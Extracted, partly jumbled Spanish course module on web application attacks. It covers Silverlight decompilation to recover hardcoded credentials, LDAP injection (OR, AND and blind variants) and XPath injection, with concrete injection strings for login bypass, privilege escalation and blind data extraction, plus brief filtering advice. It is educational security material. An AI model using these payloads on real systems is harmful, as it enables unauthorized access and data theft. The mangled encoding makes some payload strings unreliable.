maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-

dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-

do NET que se carga desde el servidor mediante un plugin en nuestro navega-

dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de

la aplicacioacuten Silverlight

Figura 53 Aplicacioacuten de muestra de Silverlight

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 32: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 32 Ataques a aplicaciones web

Figura 17 Al ejecutar el filtro (uid=kurt) obtenemos un uacutenico resultado

Si quisieacuteramos ampliar el nuacutemero de resultados siguiendo el formato definido

en el RFC deberiacuteamos ejecutar una consulta en la que inyectaacuteramos un opera-

dor OR y un filtro que incluyera todos los resultados como se puede ver en la

siguiente imagen (|(uid=kurt)(uid=))

Figura 18 Todos los usuarios

Si realizamos la inyeccioacuten tal y como propone Sacha Faust en su documento

sobre LDAP obtendriacuteamos los siguientes resultados (uid=kurt)(|(uid=))

CC-BY-NC-ND bull PID_00191662 33 Ataques a aplicaciones web

Figura 19 Inyeccioacuten OpenLDAP Se ignora el segundo filtro

Como puede apreciarse en la figura 19 el servidor OpenLDAP ha ignorado

el segundo filtro y solo ha devuelto un usuario de igual forma que realizaba

ADAM

213 Conclusiones

Tras realizar estas pruebas podemos extraer las siguientes conclusiones

bull Para realizar una inyeccioacuten de coacutedigo LDAP en una aplicacioacuten que trabaje

contra ADAM u OpenLDAP es necesario que el filtro original es decir el

del programador tenga un operador OR o AND A partir de este punto se

pueden realizar inyecciones de coacutedigo que permitan extraer informacioacuten

o realizar ataques blind es decir a ciegas

bull Es necesario que la consulta generada tras la inyeccioacuten esteacute correctamente

anidada en un uacutenico par de pareacutentesis general o bien que el componente

permita la ejecucioacuten con informacioacuten que no se va a utilizar a la derecha

del filtro

bull La inyeccioacuten que queda compuesta seguacuten el documento de Sacha Faust

puede ser vista de dos formas diferentes una primera en la que seriacutea vista

como un uacutenico filtro con un operador y otra en la que se interpretaraacute co-

mo la concatenacioacuten de dos filtros En el primer caso tendriacuteamos un filtro

mal compuesto Por otro lado si la inyeccioacuten se ve como dos filtros es-

tariacuteamos hablando de un comportamiento particular de algunos motores

LDAP (que no comparten con OpenLDAP ni con ADAM) y ademaacutes con

un segundo filtro con un operador el operador OR innecesario

CC-BY-NC-ND bull PID_00191662 34 Ataques a aplicaciones web

A partir de este punto vamos a analizar diferentes tipos de inyecciones LDAP

que pueden suponer un riesgo de seguridad en los sistemas LDAP que esteacuten

siendo accedidos por aplicaciones web ldquoORrdquo LDAP Injection ldquoANDrdquo LDAP In-

jection y Blind LDAP Injection

214 ldquoORrdquo LDAP Injection

En este entorno nos encontrariacuteamos con que el programador ha creado una

consulta LDAP con un operador OR y uno o los dos paraacutemetros son solicitados

al usuario

(|(atributo1=valor1)(atributo2=valor2))

Supongamos en el ejemplo del aacuterbol LDAP que tenemos una consulta inyec-

table del siguiente tipo (|(cn=D)(ou=Groups)) Es decir que devuelve to-

dos los objetos cuyo valor en ldquocnrdquo comience por ldquoDrdquo o cuyo valor en ldquoourdquo sea

ldquoGroupsrdquo Al ejecutarla obtenemos

Figura 20 Consulta OR sin inyeccioacuten

Si esta consulta sufriera una inyeccioacuten de coacutedigo en el primer paraacutemetro po-

driacuteamos realizar una consulta que nos devolviera la lista de usuarios almace-

nados Para ello realizamos la inyeccioacuten en el primer valor de la siguiente ca-

dena void)(uid=))(|(uid=

CC-BY-NC-ND bull PID_00191662 35 Ataques a aplicaciones web

Figura 21 Lista de usuarios obtenida tras la inyeccioacuten

Al formarse la consulta LDAP esta quedaraacute construida de la siguiente forma (|

(cn=void)(uid=))(|(uid=)(ou=Groups)) permitiendo obtener la lis-

ta de todos los usuarios del aacuterbol LDAP

Otro ejemplo de esta teacutecnica es la siguiente aplicacioacuten de gestioacuten interna en

este caso tenemos un aplicativo que lanza una consulta LDAP del siguiente

tipo

(|(type=outputDevices)(type=printer))

Figura 22 Listado de impresoras y dispositivos de salida

Si el paraacutemetro type que va por GET en la URL es inyectable un atacante podriacutea

modificar el filtro de consulta LDAP con una inyeccioacuten del siguiente tipo

CC-BY-NC-ND bull PID_00191662 36 Ataques a aplicaciones web

(|(type=outputDevices)(type=printer)(uid=))(|(type=void))

Con esa inyeccioacuten el atacante obtendriacutea en este ejemplo la lista de todos los

usuarios como se puede ver en la figura 23

Figura 23 Acceso al listado de usuarios mediante OR LDAP Injection

215 ldquoANDrdquo LDAP Injection

En el caso de inyecciones en consultas LDAP que lleven el operador AND el

atacante estaacute obligado a utilizar como valor en el primer atributo algo vaacutelido

pero se pueden utilizar las inyecciones para mediatizar los resultados y por

ejemplo realizar escaladas de privilegios En este caso nos encontrariacuteamos con

una consulta del siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Supongamos un entorno en el que se muestra la lista de todos los documentos

a los que un usuario con pocos privilegios tiene acceso mediante una consulta

que incluye el directorio de documentos en un paraacutemetro inyectable Es decir

la consulta original es

(amp(directorio=nombre_directorio)(nivel_seguridad=bajo))

Un atacante podriacutea construir una inyeccioacuten del siguiente modo para poder

acceder a los documentos de nivel de seguridad alto

(amp(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))

Para conseguir este resultado se habraacute inyectado en el nombre del directorio

la siguiente cadena

almacen)(nivel_seguridad=alto))(|(directorio=almacen

CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web

Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer

lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando

una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza

una consulta LDAP del tipo

(amp(uid=valor_de_user)(password=valor_de_password)

El atacante inyectando la cadena slisberger)(amp)) en el valor del USER

obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger

y por lo tanto conseguiriacutea el acceso a la aplicacioacuten

Figura 24 Acceso no autorizado mediante AND LDAP Injection

Y como se puede ver en la figura 25 el usuario consigue acceso al directorio

privado del usuario slisberger En este caso se ha utilizado el filtro (amp)

que es el equivalente al valor TRUE en los filtros LDAP

Figura 25 Directorio home del usuario

Como se puede ver en este caso el usuario ha accedido con privilegios de nivel

bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio

de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se

puede ver en la figura 26

CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web

Figura 26 Listado de documentos de nivel bajo

La consulta que se estaacute ejecutando es

(amp(directory=nombre_directorio)(level=low))

El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del

servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio

el siguiente comando Documents)(level=High) De esta forma el coman-

do que se ejecutariacutea seriacutea

(amp(directory=Documents)(level=High))(level=low))

Permitiendo al atacante acceder a todos los documentos Se ha producido una

elevacioacuten de privilegios

CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web

Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection

22 Blind LDAP Injection

Una de las evoluciones de las inyecciones de comandos son las acciones a

ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques

Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no

se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer

informacioacuten de un aacuterbol LDAP

El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que

cumple dos caracteriacutesticas

bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada

al aacuterbol LDAP

bull El uso de los resultados produce cambios en la respuesta http que el cliente

recibe

Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer

informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-

vando los cambios en las respuestas http

CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web

221 Blind LDAP Injection en un entorno ldquoANDrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND

tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el

atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo

que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos

aplicarle un valor que sea true es decir que siempre seleccione objetos para

tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que

tambieacuten nos garantice que sea true

Supongamos la siguiente consulta LDAP

(amp(objectClass=Impresoras)(impresoraTipo=Epson))

Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson

de tal manera que el programador si recibe alguacuten objeto simplemente pinta

en la paacutegina web un icono de una impresora Epson

Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el

icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y

como hemos dicho realizando una inyeccioacuten del siguiente tipo

(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante

Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado

en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-

mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP

222 Reconocimiento de clases de objetos de un aacuterbol LDAP

Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-

mos centrarnos en el segundo filtro realizando un recorrido de la siguiente

forma

(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web

De tal manera que todas aquellas inyecciones que devolvieran el icono de la

impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean

la existencia de ese tipo de objetos

Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-

beto de posibles valores utilizando una buacutesqueda con comodines para ello

realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de

la siguiente forma

(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran

dado una respuesta positiva

(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))

Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos

llegar a saber el nombre de todos los objetcClass de un sistema

Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)

Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido

para cualquier atributo que un objeto compartiera con el atributo fijo Una

vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-

CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web

rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los

nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido

con la siguiente inyeccioacuten

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-

bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se

puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-

teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-

zando un recorrido de la siguiente forma

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan

devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-

car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de

los caracteres utilizando los operadores relacionales lt= o gt= para reducir el

nuacutemero de peticiones

En los atributos que almacenan valores numeacutericos no es posible utilizar el co-

modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-

rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=

(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))

223 Blind LDAP Injection en un entorno ldquoORrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(|(atributo1=valor1)(atributo2=valor2))

En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar

el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor

siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos

una inyeccioacuten de la siguiente forma

(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web

Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo

planteado de las impresoras disponibles deberemos obtener un resultado sin

el icono de la impresora Luego podremos inferir la informacioacuten cuando sea

verdadero el segundo filtro

(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda

la informacioacuten del aacuterbol LDAP utilizando los comodines

224 Ejemplos Blind LDAP Injection

Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado

dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En

la siguiente figura se pueden ver los atributos de un objeto de tipo Printer

Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer

Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros

repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una

aplicacioacuten programada en php llamada printerstatusphp que recibe co-

mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de

la siguiente forma

(amp(cn=HP Laserjet 2100)(objectclass=printer))

El resultado es una paacutegina web en la que se accede a propiedades de la impre-

sora en concreto

CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web

Figura 30 Propiedades de la impresora HP LaserJet 2100

El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-

nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de

los objetos que se puedan seleccionar con cualquier consulta ejecutada por

lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes

capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-

diante Blind LDAP Injection

1)Fase1descubrimientodeatributos

El atacante inyecta atributos para descubrir si existen o no Cuando el atributo

no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no

muestra datos de ninguna impresora

Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de

tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir

asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=

o = y para los booleanos las constantes true y false

Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico

En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de

tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto

se puede comprobar porque la paacutegina de resultados ha devuelto datos de la

impresora que se estaba utilizando

CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web

Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico

Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las

que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten

y el descubrimiento de los atributos simplemente comparando los resultados

HTML obtenidos

En la figura 33 se obtiene de nuevo un resultado positivo que confirma la

existencia de un atributo department

Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble

2)Fase2reduccioacutendelalfabeto

Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-

fabeto posible de valores en un campo La idea consiste en saber si existe o

no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres

de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres

tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten

Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-

ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos

dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir

15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones

+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se

puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a

utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza

como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28

es decir 148 peticiones

CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web

Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena

opcioacuten a la hora de extraer valores de campos

En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece

o no al valor del campo

Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos

Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos

Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse

para extraer el valor del dato mediante un proceso de despliegue

3)Fase3despliegue

En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas

para ello comenzaremos un proceso desde la primera posicioacuten

Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos

CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web

Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-

firme que con ese patroacuten se devuelven datos

Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos

Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a

buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la

fase de reduccioacuten del alfabeto

Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos

Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos

Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se

hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta

de los objetos del aacuterbol LDAP

LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-

rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet

realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-

On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet

CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web

Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro

de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas

de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo

la documentacioacuten existente son de poca ayuda pues en los entornos maacutes

comunes como ADAM u OpenLDAP no funcionan

La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones

consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-

viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines

para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra

aplicacioacuten

23 XPath

XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-

cumentos XML por medio de expresiones especiacuteficas para su estructura

Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de

la organizacioacuten de nodos que poseen los ficheros XML

Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-

ble implementarlo en aplicaciones web de modo que pueden sustituir a los

SGBD (sistema gestor de base de datos) basados en SQL

231 XPath injection y Blind XPath Injection

XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los

paraacutemetros de buacutesqueda a la hora de formar una query XPath

Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-

tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML

Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL

Injection LDAP Injection) son fallos de seguridad causados por una mala

programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-

queda sin importar que la aplicacioacuten sea de escritorio o web

Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-

poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten

contra un aacuterbol XML con la siguiente estructura

ltxml version=10 encoding=UTF-8gt

ltusuariosgt

ltusuario login=admin password=t1oviv0 nivel=3 gt

ltusuario login=usuario password=miPasswordXml nivel=1 gt

ltusuario login=invitado password=invitado nivel=0 gt

CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web

ltusuariosgt

La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde

para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario

y un password con los que posteriormente formara una query de XPath con

la siguiente estructura

string xpath = usuariosusuario[login= + usuario + and password= + password + ]

En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-

tivo a no ser que el usuario y el password correspondan con los establecidos en

el documento XML pero si se trata de un entorno inseguro donde los campos

de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una

inyeccioacuten

Si un usuario introdujera en el campo password un valor como abclsquo or

lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder

a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado

positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y

posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-

da seriacutea el que nos muestra el siguiente ejemplo

Figura 40 Evaluacioacuten de los paraacutemetros en XPath

Como hemos visto con este tipo de inyecciones es posible hacer modificacio-

nes en la query para obtener el resultado deseado (truefalse) pero es posible ir

mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos

atributos y elementos

Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath

Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores

del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten

vulnerable

Retomando el caso praacutectico anterior supongamos que cuando realizamos login

en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten

devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso

de que la query XPath devuelva un resultado negativo (cuando se realiza una

inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo

password incorrectordquo

CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web

En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a

Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de

un motor XML y no SQL podemos utilizar funciones como count() la

cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener

al menos 1 nodo

bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob

bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1

Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que

estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL

(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal

modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML

bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo

bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo

Si con esta prueba obtenemos un resultado positivo no hay duda de que es un

sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML

iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo

El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea

sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos

que habriacutea que realizar seriacutean los siguientes

1) Extraer el nombre del nodo

2) Extraer los atributos del nodo

3) Comprobar si es un elemento3 En caso positivo obtener el valor

4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-

zando

5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo

Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de

caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length

[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]

Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya

que puede haber varios nodos con el mismo nombre dentro del mismo padre)

y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando

fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-

ble sacar la longitud del nombre de la siguiente manera

(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean

